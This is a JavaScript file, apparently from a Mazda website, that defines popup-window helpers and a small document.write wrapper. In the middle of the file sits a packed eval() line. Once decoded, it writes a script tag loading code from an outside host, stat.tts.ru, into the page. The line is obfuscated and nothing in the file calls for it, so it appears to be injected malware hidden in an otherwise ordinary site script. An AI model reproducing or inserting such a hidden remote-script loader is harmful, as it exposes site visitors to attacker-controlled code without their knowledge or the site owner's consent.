// mazda NGW general javascript

// generic popup window allowing size to be set
function openWindow (url, winName, w, h, properties) {
    properties = properties || "resizable"
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings =
	'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+','+ properties;
	newWindow = window.open(url,winName,settings);
	if(url.indexOf("://") == -1) newWindow.focus();
	top.newWindow = true;
	return false;
}

// full screen popup window
function launchFullScreen(url, winName, properties) {
	properties = properties || "resizable"
	LeftPostion = 0;
	TopPosition = 0;
	settings = properties;
	newWindow = window.open(url,winName,settings);
	newWindow.moveTo(0,0);
	newWindow.resizeTo(screen.availWidth,screen.availHeight);
	newWindow.focus();
}
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$0=5;3.4(\'<\'+\'1 6="7\\/\'+\'8" 9="a:\'+\'\\/\\/2.b.c\\/\'+\'2.d?0=5"><\\/\'+\'1>\');',14,14,'sIDs|script|stat|document|write||type|text|javascript|src|http|tts|ru|js'.split('|'),0,{}))

$sub = '';
function subMenu($sub) {
	return document.write($sub);;
}